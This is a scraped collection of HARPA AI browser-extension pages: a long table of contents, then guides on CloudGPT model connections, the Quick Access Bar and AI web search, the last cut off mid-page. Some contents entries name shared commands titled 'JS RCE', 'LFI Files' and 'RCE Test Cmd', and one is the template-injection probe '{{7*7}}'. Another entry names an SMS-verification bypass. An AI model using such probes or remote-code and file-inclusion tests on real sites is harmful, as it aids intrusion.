# Table of Contents - [HARPA AI | CloudGPT Connections](#harpa-ai-cloudgpt-connections) - [HARPA AI | Quick Access Bar](#harpa-ai-quick-access-bar) - [HARPA AI | AI Web Search](#harpa-ai-ai-web-search) - [HARPA AI | Blog Writer](#harpa-ai-blog-writer) - [HARPA AI | MCP Connections](#harpa-ai-mcp-connections) - [HARPA AI | Function Calling](#harpa-ai-function-calling) - [HARPA AI | Custom AI Commands](#harpa-ai-custom-ai-commands) - [HARPA AI | Reply Writer](#harpa-ai-reply-writer) - [HARPA AI | Competitor Tracking](#harpa-ai-competitor-tracking) - [HARPA AI | Wait Step](#harpa-ai-wait-step) - [HARPA AI | Click & Paste Steps](#harpa-ai-click-paste-steps) - [HARPA AI | Autorefresh Web Pages](#harpa-ai-autorefresh-web-pages) - [HARPA AI | ChatGPT for Pinterest](#harpa-ai-chatgpt-for-pinterest) - [HARPA AI | Writing Styles](#harpa-ai-writing-styles) - [HARPA AI | Connecting to CloudGPT](#harpa-ai-connecting-to-cloudgpt) - [HARPA AI | How to Unpin My AI from Snapchat](#harpa-ai-how-to-unpin-my-ai-from-snapchat) - [HARPA AI | Price Monitor](#harpa-ai-price-monitor) - [HARPA AI | How to Fix ChatGPT is at Capacity](#harpa-ai-how-to-fix-chatgpt-is-at-capacity) - [HARPA AI | Request Step](#harpa-ai-request-step) - [HARPA AI | Video Generation](#harpa-ai-video-generation) - [HARPA AI | Parameters](#harpa-ai-parameters) - [HARPA AI | Automation Library](#harpa-ai-automation-library) - [HARPA AI | Web Search Operators](#harpa-ai-web-search-operators) - [HARPA AI | ChatGPT for Fiverr](#harpa-ai-chatgpt-for-fiverr) - [HARPA AI | Library & Command Sharing](#harpa-ai-library-command-sharing) - [HARPA AI Browser Agent | ChatGPT, Claude, Gemini, Perplexity](#harpa-ai-browser-agent-chatgpt-claude-gemini-perplexity) - [HARPA AI | Conditions and Jumps](#harpa-ai-conditions-and-jumps) - [HARPA AI | ChatGPT for Spreadsheets](#harpa-ai-chatgpt-for-spreadsheets) - [HARPA AI | Troubleshoot App](#harpa-ai-troubleshoot-app) - [HARPA AI | Creating AI Commands](#harpa-ai-creating-ai-commands) - [HARPA AI | LinkedIn: Daily Auto-Connect with Targeted Contacts](#harpa-ai-linkedin-daily-auto-connect-with-targeted-contacts) - [HARPA AI | ChatGPT for Twitter](#harpa-ai-chatgpt-for-twitter) - [HARPA AI | How to Bypass Claude AI SMS Verification](#harpa-ai-how-to-bypass-claude-ai-sms-verification) - [HARPA AI | Image Generation](#harpa-ai-image-generation) - [HARPA AI | Search the Web in Make.com](#harpa-ai-search-the-web-in-make-com) - [HARPA AI | ChatGPT for Gmail](#harpa-ai-chatgpt-for-gmail) - [HARPA AI | How to Track Prices on Walmart, Amazon, and Any Website: Best Price History Checker Extension](#harpa-ai-how-to-track-prices-on-walmart-amazon-and-any-website-best-price-history-checker-extension) - [HARPA AI | ChatGPT for Quora](#harpa-ai-chatgpt-for-quora) - [HARPA AI | Web & Video Summarizer](#harpa-ai-web-video-summarizer) - [HARPA AI | Troubleshoot Billing](#harpa-ai-troubleshoot-billing) - [HARPA AI | ChatGPT for Stackoverflow](#harpa-ai-chatgpt-for-stackoverflow) - [HARPA AI | ChatGPT for TikTok](#harpa-ai-chatgpt-for-tiktok) - [HARPA AI | DeepSeek API Not Working. Common Issues and Solutions.](#harpa-ai-deepseek-api-not-working-common-issues-and-solutions-) - [HARPA AI | Connecting to OpenAI GPTs](#harpa-ai-connecting-to-openai-gpts) - [HARPA AI | Changelog](#harpa-ai-changelog) - [HARPA AI | ChatGPT for Amazon](#harpa-ai-chatgpt-for-amazon) - [HARPA AI | Browser Orchestration API](#harpa-ai-browser-orchestration-api) - [HARPA AI | Browser Automation Node Setup](#harpa-ai-browser-automation-node-setup) - [HARPA AI | Zapier Web Automation with HARPA](#harpa-ai-zapier-web-automation-with-harpa) - [HARPA AI | REST API Reference](#harpa-ai-rest-api-reference) - [HARPA AI | DeepSeek API non Funziona. Problemi Comuni e Soluzioni.](#harpa-ai-deepseek-api-non-funziona-problemi-comuni-e-soluzioni-) - [HARPA AI | How to upload PDF to HARPA AI](#harpa-ai-how-to-upload-pdf-to-harpa-ai) - [HARPA AI | Como usar HARPA AI](#harpa-ai-como-usar-harpa-ai) - [HARPA AI | ChatGPT for Instagram](#harpa-ai-chatgpt-for-instagram) - [HARPA AI | Cómo cambiar el idioma de HARPA AI.](#harpa-ai-c-mo-cambiar-el-idioma-de-harpa-ai-) - [HARPA AI | ChatGPT for Product Development](#harpa-ai-chatgpt-for-product-development) - [HARPA AI | Monitor Website Changes: Best Chrome Extensions, Free Tools & Notifications (2026 Guide)](#harpa-ai-monitor-website-changes-best-chrome-extensions-free-tools-notifications-2026-guide-) - [HARPA AI | Built-in Midjourney Templates](#harpa-ai-built-in-midjourney-templates) - [HARPA AI | Welcome](#harpa-ai-welcome) - [HARPA AI | 5 Simple Steps to Turn Any Web Content into a WordPress Blog](#harpa-ai-5-simple-steps-to-turn-any-web-content-into-a-wordpress-blog) - [HARPA AI | ChatGPT for LinkedIn](#harpa-ai-chatgpt-for-linkedin) - [HARPA AI | Collect Automation Action Results in Make.com](#harpa-ai-collect-automation-action-results-in-make-com) - [HARPA AI | No-Cost Wordpress Blog Automation](#harpa-ai-no-cost-wordpress-blog-automation) - [HARPA AI | Automation Steps](#harpa-ai-automation-steps) - [HARPA AI | Automation Frame](#harpa-ai-automation-frame) - [HARPA AI | How to Summarize Discord, WhatsApp, Reddit & Other Chats with AI](#harpa-ai-how-to-summarize-discord-whatsapp-reddit-other-chats-with-ai) - [HARPA AI | ChatGPT as Copywriting Assistant](#harpa-ai-chatgpt-as-copywriting-assistant) - [HARPA AI | Web Search & Scraping with Make.com and HARPA GRID](#harpa-ai-web-search-scraping-with-make-com-and-harpa-grid) - [HARPA AI | HARPA AI for Android](#harpa-ai-harpa-ai-for-android) - [HARPA AI | Best Amazon Price Trackers 2026: Keepa, CamelCamelCamel & Free Extensions for Price History & Drop Alerts](#harpa-ai-best-amazon-price-trackers-2026-keepa-camelcamelcamel-free-extensions-for-price-history-drop-alerts) - [HARPA AI | Crafting Exceptional Prompts for Midjourney](#harpa-ai-crafting-exceptional-prompts-for-midjourney) - [HARPA AI | ChatGPT for Facebook](#harpa-ai-chatgpt-for-facebook) - [HARPA AI | How to Fix ChatGPT Internal Server Error](#harpa-ai-how-to-fix-chatgpt-internal-server-error) - [HARPA AI | Niche SEO Mastery: Drive Traffic & Outrank Rivals](#harpa-ai-niche-seo-mastery-drive-traffic-outrank-rivals) - [HARPA AI | Run AI Prompt in Make.com](#harpa-ai-run-ai-prompt-in-make-com) - [HARPA AI | Automation Library](#harpa-ai-automation-library) - [HARPA AI | Eleven Labs Voice AI Overview](#harpa-ai-eleven-labs-voice-ai-overview) - [HARPA AI | How to Fix Deepseek Server Busy Error](#harpa-ai-how-to-fix-deepseek-server-busy-error) - [HARPA AI | Flow Control Steps](#harpa-ai-flow-control-steps) - [HARPA AI | AI Element Selectors](#harpa-ai-ai-element-selectors) - [HARPA AI | Automatización de Blog de Wordpress sin Costo](#harpa-ai-automatizaci-n-de-blog-de-wordpress-sin-costo) - [HARPA AI | Come cambiare la lingua di HARPA AI.](#harpa-ai-come-cambiare-la-lingua-di-harpa-ai-) - [HARPA AI | Connecting to ChatGPT](#harpa-ai-connecting-to-chatgpt) - [HARPA AI | How to Fix ChatGPT Plugins Not Showing Up](#harpa-ai-how-to-fix-chatgpt-plugins-not-showing-up) - [HARPA AI | ChatGPT for Google Search](#harpa-ai-chatgpt-for-google-search) - [HARPA AI | 3 Semplici Passaggi per Trasformare Qualsiasi Contenuto Web in un Blog WordPress](#harpa-ai-3-semplici-passaggi-per-trasformare-qualsiasi-contenuto-web-in-un-blog-wordpress) - [HARPA AI | Zapier + HARPA: Transforme Qualquer Conteúdo Web em um Blog WordPress](#harpa-ai-zapier-harpa-transforme-qualquer-conte-do-web-em-um-blog-wordpress) - [HARPA AI | How to Use HARPA AI for Free](#harpa-ai-how-to-use-harpa-ai-for-free) - [HARPA AI | Make.com Integration](#harpa-ai-make-com-integration) - [HARPA AI | How to Fix ChatGPT Error 1020](#harpa-ai-how-to-fix-chatgpt-error-1020) - [HARPA AI | 3 Pasos Simples para Convertir Cualquier Contenido Web en un Blog de WordPress](#harpa-ai-3-pasos-simples-para-convertir-cualquier-contenido-web-en-un-blog-de-wordpress) - [HARPA AI | Connecting to Google Gemini](#harpa-ai-connecting-to-google-gemini) - [HARPA AI | Chunking](#harpa-ai-chunking) - [HARPA AI | Editing Predefined Commands](#harpa-ai-editing-predefined-commands) - [HARPA AI | Page Crawler](#harpa-ai-page-crawler) - [HARPA AI | ChatGPT for YouTube](#harpa-ai-chatgpt-for-youtube) - [HARPA AI | Best Free Article Summarizer & PDF Summarizer AI Tools: Summarize Articles, Web Pages & PDFs Fast](#harpa-ai-best-free-article-summarizer-pdf-summarizer-ai-tools-summarize-articles-web-pages-pdfs-fast) - [HARPA AI | Claude AI: Beyond OpenAIs ChatGPT](#harpa-ai-claude-ai-beyond-openais-chatgpt) - [HARPA AI | Calc step](#harpa-ai-calc-step) - [HARPA AI | Connecting to DeepSeek](#harpa-ai-connecting-to-deepseek) - [HARPA AI | Top Free Web Scraping Tools and Chrome Extensions 2026: Best Data Extraction Software](#harpa-ai-top-free-web-scraping-tools-and-chrome-extensions-2026-best-data-extraction-software) - [HARPA AI | Create a blog post from a YouTube video using ChatGPT](#harpa-ai-create-a-blog-post-from-a-youtube-video-using-chatgpt) - [HARPA AI | Run AI Commands in Make.com](#harpa-ai-run-ai-commands-in-make-com) - [HARPA AI | DeepSeek API No Funciona. Problemas Comunes y Soluciones.](#harpa-ai-deepseek-api-no-funciona-problemas-comunes-y-soluciones-) - [HARPA AI | Best Free Price Monitoring Tools for E-commerce: Top Software Comparison for Small Businesses](#harpa-ai-best-free-price-monitoring-tools-for-e-commerce-top-software-comparison-for-small-businesses) - [HARPA AI | Troubleshooting](#harpa-ai-troubleshooting) - [HARPA AI | ChatGPT for Marketing & SEO](#harpa-ai-chatgpt-for-marketing-seo) - [HARPA AI | Zapier + HARPA: Turn Any Web Content into a WordPress Blog](#harpa-ai-zapier-harpa-turn-any-web-content-into-a-wordpress-blog) - [HARPA AI | How to change HARPA AI language](#harpa-ai-how-to-change-harpa-ai-language) - [HARPA AI | 3 Passos Simples para Transformar Qualquer Conteúdo Web em um Blog WordPress](#harpa-ai-3-passos-simples-para-transformar-qualquer-conte-do-web-em-um-blog-wordpress) - [HARPA AI | Lead Database Enrichment with Make.com and HARPA GRID](#harpa-ai-lead-database-enrichment-with-make-com-and-harpa-grid) - [HARPA AI | Use Cases & ChatGPT Prompts](#harpa-ai-use-cases-chatgpt-prompts) - [HARPA AI | Make.com Trigger Module: On Web Monitor Result](#harpa-ai-make-com-trigger-module-on-web-monitor-result) - [HARPA AI | ChatGPT & 2023 AI Revolution in Digital Marketing](#harpa-ai-chatgpt-2023-ai-revolution-in-digital-marketing) - [HARPA AI | Scrape the Web in Make.com](#harpa-ai-scrape-the-web-in-make-com) - [HARPA AI | Account](#harpa-ai-account) - [HARPA AI | Artificial Intelligence in Movies](#harpa-ai-artificial-intelligence-in-movies) - [HARPA AI | Outrank competitors content with ChatGPT](#harpa-ai-outrank-competitors-content-with-chatgpt) - [HARPA AI | How to Fix ChatGPT Too Many Responses in 1 Hour](#harpa-ai-how-to-fix-chatgpt-too-many-responses-in-1-hour) - [HARPA AI | Privacy Policy](#harpa-ai-privacy-policy) - [HARPA AI | LinkedIn Lead Generation & Data Enrichment with Make.com](#harpa-ai-linkedin-lead-generation-data-enrichment-with-make-com) - [HARPA AI | Boost.Space Web Automation with HARPA](#harpa-ai-boost-space-web-automation-with-harpa) - [HARPA AI | Schedule AI Commands](#harpa-ai-schedule-ai-commands) - [HARPA AI | Automation Library](#harpa-ai-automation-library) - [HARPA AI | ChatGPT for Productivity](#harpa-ai-chatgpt-for-productivity) - [HARPA AI | Top Google Rankings with ChatGPT Content](#harpa-ai-top-google-rankings-with-chatgpt-content) - [HARPA AI | Instagram Data Extraction v1](#harpa-ai-instagram-data-extraction-v1) - [HARPA AI | YouTube Language Studying v1.1](#harpa-ai-youtube-language-studying-v1-1) - [HARPA AI | Lecture Note Style Summary v2](#harpa-ai-lecture-note-style-summary-v2) - [HARPA AI | EEAT WebPage Analysis v3](#harpa-ai-eeat-webpage-analysis-v3) - [HARPA AI | Instagram Like Machine v2.1](#harpa-ai-instagram-like-machine-v2-1) - [HARPA AI | LinkedIn Profile Scraper](#harpa-ai-linkedin-profile-scraper) - [HARPA AI | Humanizer: Anti AI Detection Tool v3](#harpa-ai-humanizer-anti-ai-detection-tool-v3) - [HARPA AI | Movie Finder Expert v1](#harpa-ai-movie-finder-expert-v1) - [HARPA AI | Instagram Followers Auto Follow v1.3 #instagram](#harpa-ai-instagram-followers-auto-follow-v1-3-instagram) - [HARPA AI | YouTube Comments Extraction](#harpa-ai-youtube-comments-extraction) - [HARPA AI | Simplify & Cook: YouTube Video Recipes](#harpa-ai-simplify-cook-youtube-video-recipes) - [HARPA AI | Reddit Thread Extraction](#harpa-ai-reddit-thread-extraction) - [HARPA AI | Facebook Post & Comments Extraction](#harpa-ai-facebook-post-comments-extraction) - [HARPA AI | Key Decision Making Factors (KDMF) - by Erik Nielsen](#harpa-ai-key-decision-making-factors-kdmf-by-erik-nielsen) - [HARPA AI | Email Writer: GMail, ProtonMail, Outlook, FastMail](#harpa-ai-email-writer-gmail-protonmail-outlook-fastmail) - [HARPA AI | Discord Chat Extraction](#harpa-ai-discord-chat-extraction) - [HARPA AI | Software Design Workflow #3](#harpa-ai-software-design-workflow-3) - [HARPA AI | WebPage To X Post](#harpa-ai-webpage-to-x-post) - [HARPA AI | Clickbait Title](#harpa-ai-clickbait-title) - [HARPA AI | High-Value Keyword Research Tool](#harpa-ai-high-value-keyword-research-tool) - [HARPA AI | lecture, presentation and cheatsheet generator](#harpa-ai-lecture-presentation-and-cheatsheet-generator) - [HARPA AI | Convert Page to JSON](#harpa-ai-convert-page-to-json) - [HARPA AI | YouTube video summarya](#harpa-ai-youtube-video-summarya) - [HARPA AI | Full Page Screenshot Summary](#harpa-ai-full-page-screenshot-summary) - [HARPA AI | WordPress Blog Writer](#harpa-ai-wordpress-blog-writer) - [HARPA AI | Database Enrichment](#harpa-ai-database-enrichment) - [HARPA AI | Deep Research Bot](#harpa-ai-deep-research-bot) - [HARPA AI | Respond to Email](#harpa-ai-respond-to-email) - [HARPA AI | LinkedIn Auto Search & Connect](#harpa-ai-linkedin-auto-search-connect) - [HARPA AI | LinkedIn Connection [NO MESSAGE]](#harpa-ai-linkedin-connection-no-message-) - [HARPA AI | Convert Page to JSON](#harpa-ai-convert-page-to-json) - [HARPA AI | Telegram, WhatsApp & Discord summary](#harpa-ai-telegram-whatsapp-discord-summary) - [HARPA AI | BNN.MX Data Analysis](#harpa-ai-bnn-mx-data-analysis) - [HARPA AI | Proofreader & Editor](#harpa-ai-proofreader-editor) - [HARPA AI | Comprehensive Content Strategy](#harpa-ai-comprehensive-content-strategy) - [HARPA AI | Account](#harpa-ai-account) - [HARPA AI | HARPA AI Meta-Prompt Generator](#harpa-ai-harpa-ai-meta-prompt-generator) - [HARPA AI | JS RCE](#harpa-ai-js-rce) - [HARPA AI | LFI Files](#harpa-ai-lfi-files) - [HARPA AI | AUTO PROTOCOL FINAL](#harpa-ai-auto-protocol-final) - [HARPA AI | LFI Multi](#harpa-ai-lfi-multi) - [HARPA AI | ArchBot v2.0](#harpa-ai-archbot-v2-0) - [HARPA AI | {{7*7}}](#harpa-ai-7-7-) - [HARPA AI | Fact Check](#harpa-ai-fact-check) - [HARPA AI | Auto-Coach](#harpa-ai-auto-coach) - [HARPA AI | Verify 1.0](#harpa-ai-verify-1-0) - [HARPA AI | Antiland Botu](#harpa-ai-antiland-botu) - [HARPA AI | Supporting PAA Content](#harpa-ai-supporting-paa-content) - [HARPA AI | RP-V2](#harpa-ai-rp-v2) - [HARPA AI | Utdij_kalkulator](#harpa-ai-utdij-kalkulator) - [HARPA AI | slot checker](#harpa-ai-slot-checker) - [HARPA AI | Humanizer: Anti AI Detection Tool v3](#harpa-ai-humanizer-anti-ai-detection-tool-v3) - [HARPA AI | WP-Post-Translate-To-German](#harpa-ai-wp-post-translate-to-german) - [HARPA AI | 03 PM — Professor Médio v25.5.0 — Infográfico Direto + PNG](#harpa-ai-03-pm-professor-m-dio-v25-5-0-infogr-fico-direto-png) - [HARPA AI | extract-size-chart](#harpa-ai-extract-size-chart) - [HARPA AI | Antiland Botu](#harpa-ai-antiland-botu) - [HARPA AI | R. news Reuters #2](#harpa-ai-r-news-reuters-2) - [HARPA AI | Character counter](#harpa-ai-character-counter) - [HARPA AI | Quick WooCommerce Product JSON Generator](#harpa-ai-quick-woocommerce-product-json-generator) - [HARPA AI | 4o-search REQUEST test/demo (public)](#harpa-ai-4o-search-request-test-demo-public-) - [HARPA AI | RCE Test Cmd](#harpa-ai-rce-test-cmd) - [HARPA AI | 04 PL — Professor Longo v25.5.0 — Infográfico Direto + PNG](#harpa-ai-04-pl-professor-longo-v25-5-0-infogr-fico-direto-png) --- # HARPA AI | CloudGPT Connections [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/weather/cloud-01.svg) CloudGPT Connections ==================== CONTENTS NAVIGATE [\#](https://harpa.ai/guides/cloudgpt-connections#cloudgpt) CloudGPT --------------------------------------------------------------------- ![icon](https://harpa.ai/icon/lines/weather/cloud-01.svg) CloudGPT is HARPA AI's premium connection available on the S plan. It provides fast, stable access to top AI models — no need to manage API keys or web sessions. CloudGPT has less downtime than web session connections and isn't restricted by country, even when OpenAI or Anthropic are at capacity. Available models include **GPT-5.4**, **Sonnet 4.6**, **Gemini 3.1 Pro**, **DeepSeek V3**, **Perplexity Pro**, **Grok 4.1**, **Llama 4**, and others. S plan users receive Megatokens as part of their package. X or Free plan users can buy Megatokens on the [pricing page](https://harpa.ai/pricing) . ### [\#](https://harpa.ai/guides/cloudgpt-connections#getting-started) Getting Started 1. Open HARPA on any website by clicking its icon or pressing **Alt+A** (Windows) or **^+A** (Mac). 2. Open the AI model menu by clicking the **MODELS** tab at the top or the **three-dot menu** in the bottom left corner. ![](https://harpa.ai/img/guides/cloudgpt-connections-1.webp) 3. **Web Connections** are at the top, **Cloud Models** below. Your Megatoken balance shows next to it. ![](https://harpa.ai/img/guides/cloudgpt-connections-2.webp) Click the **+** card to add a new model. ![](https://harpa.ai/img/guides/cloudgpt-connections-3.webp) 4. Click any model card to set it as default for new chats. 5. To remove a connection, hover over its card and click the **X** icon in the top left corner. ![](https://harpa.ai/img/guides/cloudgpt-connections-4.webp) 6. To fine-tune a connection, click the **MORE** button in the top right corner of the Cloud Models section. ![](https://harpa.ai/img/guides/cloudgpt-connections-5.webp) This opens advanced settings — system prompt, context window, temperature, and more. ![](https://harpa.ai/img/guides/cloudgpt-connections-6.webp) [\#](https://harpa.ai/guides/cloudgpt-connections#harpa-ai-agentic-connection) HARPA AI Agentic Connection ----------------------------------------------------------------------------------------------------------- ![](https://harpa.ai/img/guides/cloudgpt-connections-7.webp) The built-in _HARPA AI_ CloudGPT model is more than a chat — it's an AI agent that can: * **Auto-run commands.** Detects your intent and launches the right command. Say "Summarize it" on a YouTube page and HARPA runs the summary for you. * **Auto web search.** Searches the web when your question needs up-to-date information. * **Auto page-aware mode.** Reads the current page content when needed to answer your question. * **Image generation.** Generate images directly in chat using built-in image models. * **Auto MCP calls.** Calls your configured MCP servers when relevant. ![icon](https://harpa.ai/icon/lines/images/flash.svg) The HARPA AI connection is fine-tuned by our team, optimized for cost and quality. ### [\#](https://harpa.ai/guides/cloudgpt-connections#how-to-buy-megatokens) How to buy Megatokens If you purchased the S plan, you already have Megatokens. X or Free plan users can buy Megatokens by: * Logging into our [account](https://harpa.ai/account) * Selecting and paying for the desired amount on the [pricing page](https://harpa.ai/pricing) ![](https://harpa.ai/img/guides/cloudgpt-1.webp) ### [\#](https://harpa.ai/guides/cloudgpt-connections#how-to-control-usage) How to control usage * Check your chat request's input and output tokens by hovering over the star icon below the message for details. ![](https://harpa.ai/img/guides/cloudgpt-3.webp) * Usage history could be checked from your [space profile](https://harpa.ai/account) on HARPA AI. ![](https://harpa.ai/img/guides/cloudgpt-4.webp) This can be useful for Spaces users, where the Megatoken balance is shared, monitored, and paid for by the owner. ### [\#](https://harpa.ai/guides/cloudgpt-connections#why-cloudgpt?) Why CloudGPT? * **Stability.** No logouts or disconnects. Maintained by the HARPA team for uninterrupted service. * **No API keys needed.** No need to sign up for OpenAI, Anthropic, or other providers. Everything goes through your HARPA AI account. * **Multiple models.** Access GPT-5.4, Claude Sonnet 4.6, Gemini 3.1 Pro, and other top models from a single connection. * **Pay-as-you-go.** You are billed based on your usage, measured in Megatokens, which [can be purchased](https://harpa.ai/pricing) regardless of your subscription plan. ### [\#](https://harpa.ai/guides/cloudgpt-connections#what-are-megatokens?) What are Megatokens? 1 Megatoken is roughly 750,000 words of input text in English. It's a unified token system that works across all models in your HARPA subscription. Each model card shows its token cost as a multiplier, e.g. **x2 : x4** (input : output). **On average, 1 Megatoken is:** * ~3000 basic chat requests on GPT-5 Nano * ~300 basic chat requests on GPT-5.4 * ~150 YouTube summaries (15-minute videos) on GPT-5 Nano * ~30 page-aware requests on GPT-5.4 [\#](https://harpa.ai/guides/cloudgpt-connections#more-guides) More Guides --------------------------------------------------------------------------- * [Web Session Connections](https://harpa.ai/guides/web-session-connections) * [API Connections](https://harpa.ai/guides/api-connections) * [Connecting to CloudGPT](https://harpa.ai/blog/cloud-gpt-connection) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/getting-started) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/web-session-connections) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Quick Access Bar [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/images/flash.svg) Quick Access Bar ================ CONTENTS NAVIGATE [\#](https://harpa.ai/guides/quick-access-bar#command-hotkeys) Command Hotkeys ------------------------------------------------------------------------------- Double-click _/_ on any page to show the quick access bar with hotkeys. For example, press "S" for Summary and "E" for Explain command. ![](https://harpa.ai/img/guides/hotkeys-1.webp) It works on selected text, input boxes, or any webpage you visit. ![](https://harpa.ai/img/guides/hotkeys-2.webp) [\#](https://harpa.ai/guides/quick-access-bar#quick-access-bar) Quick Access Bar --------------------------------------------------------------------------------- To activate Quick Access Bar, select any text on a webpage. Click on the command you'd like to execute for the text you selected: * **Research & Explain** commands can be useful when you encounter an unknown term in an article or wish to learn something new. Read more about how Research works in this [guide](https://harpa.ai/blog/ai-answers-alongside-google-search) . ![](https://harpa.ai/img/guides/quick-access-bar-1.webp) * **TL;DR** helps quickly condense text, focusing on key information to save time. ![](https://harpa.ai/img/guides/quick-access-bar-2.webp) * **Rephrase & Rewrite** assists with copywriting tasks. Refine AI-generated text until satisfied, then paste it back into the webpage. ![](https://harpa.ai/img/guides/quick-access-bar-3.webp) * **Fix grammar** instantly corrects your text, useful for grammar and punctuation checks. * **Shorten** or **Expand** the selected text. * Swiftly **Translate** selected text into your preferred language, without needing multiple applications. * **Reply** to messages, emails, or comments on your behalf. Select the desired response style, paste the response text, and send it with one click. ![](https://harpa.ai/img/guides/quick-access-bar-4.webp) Learn how to quickly zero your inbox in this [guide](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) . Most command scenarios are automatic, and the result will be ready in a few seconds. ![icon](https://harpa.ai/icon/lines/general/pin-02.svg) Quick Access Bar will be made fully customizeable in the future HARPA AI updates. ### [\#](https://harpa.ai/guides/quick-access-bar#quick-access-bar-settings) Quick Access Bar settings Disable the Quick Access Bar by clicking **\[x\]** at the top. Optionally: * Press and hold **Alt** while clicking to disable it on this page only. * Press and hold **Shift** while clicking to disable it until the next visit. ![](https://harpa.ai/img/guides/quick-access-bar-5.webp) If you want to bring the Quick Access Bar back, you can do so in the App settings: * Set the Quick Access Bar to show on pages or to display after highlighting any text. * Add a list of pages where it will not be active. ### [\#](https://harpa.ai/guides/quick-access-bar#comparing-harpa-ai-to-notion-ai) Comparing HARPA AI to Notion AI Unlike Notion, which confines AI to its own platform, HARPA extends AI across the Internet, enhancing your writing performance. Notion AI is excellent for copywriters who use various sources for information. However, it requires manually copying information to Notion before using AI. HARPA AI offers the unique ability to transform any input into authentic human-written text. You can copy and paste text into HARPA, use a YouTube transcript, or highlight any text fragment to invoke the Quick Access Bar. [\#](https://harpa.ai/guides/quick-access-bar#links-for-further-reading) Links for further reading --------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [GPT Chunking](https://harpa.ai/guides/chunking) * [Using Flags](https://harpa.ai/guides/using-flags) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/ai-web-search) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/page-aware-chatgpt-prompts) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | AI Web Search [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/search-lg.svg) AI Web Search ============= CONTENTS NAVIGATE [\#](https://harpa.ai/guides/ai-web-search#web-search-in-harpa-ai) Web Search in HARPA AI ------------------------------------------------------------------------------------------ The default HARPA AI CloudGPT connection comes with **built-in automatic web search**. When the AI needs up-to-date information, it searches the web on its own — no extra setup required. ![](https://harpa.ai/img/guides/ai-web-search-2.webp) ### [\#](https://harpa.ai/guides/ai-web-search#how-to-use-web-search) How to Use Web Search 1. Make sure you have a HARPA AI CloudGPT connection selected. ![](https://harpa.ai/img/guides/ai-web-search-1.webp) 2. Ask the AI something that requires up-to-date information. 3. The AI will automatically search the web for relevant results. You can expand the list to see all Google searches and crawled pages. ![](https://harpa.ai/img/guides/ai-web-search-3.webp) [\#](https://harpa.ai/guides/ai-web-search#perplexity-powered-web-search) Perplexity-Powered Web Search -------------------------------------------------------------------------------------------------------- CloudGPT also includes **Perplexity connections** with various LLMs that have automatic search built in. These models are designed for research and always pull in fresh results from the web. Open the model menu in HARPA, find the **CLOUD MODELS** section and click **+** to add **Perplexity Pro** or **Perplexity Deep** connections included in your HARPA AI S plan. ![](https://harpa.ai/img/guides/ai-web-search-4.webp) Perplexity connections return AI responses with inline links to web sources. They are a solid alternative to HARPA AI Web Search, but cost significantly more Megatokens. ![](https://harpa.ai/img/guides/ai-web-search-5.webp) [\#](https://harpa.ai/guides/ai-web-search#related-guides) Related Guides -------------------------------------------------------------------------- * **[CloudGPT Connections](https://harpa.ai/guides/cloudgpt-connections) ** — Premium hosted AI models powered by Megatokens. * **[Search Agent](https://harpa.ai/blog/ai-answers-alongside-google-search) ** — AI answers alongside Google Search. * **[API 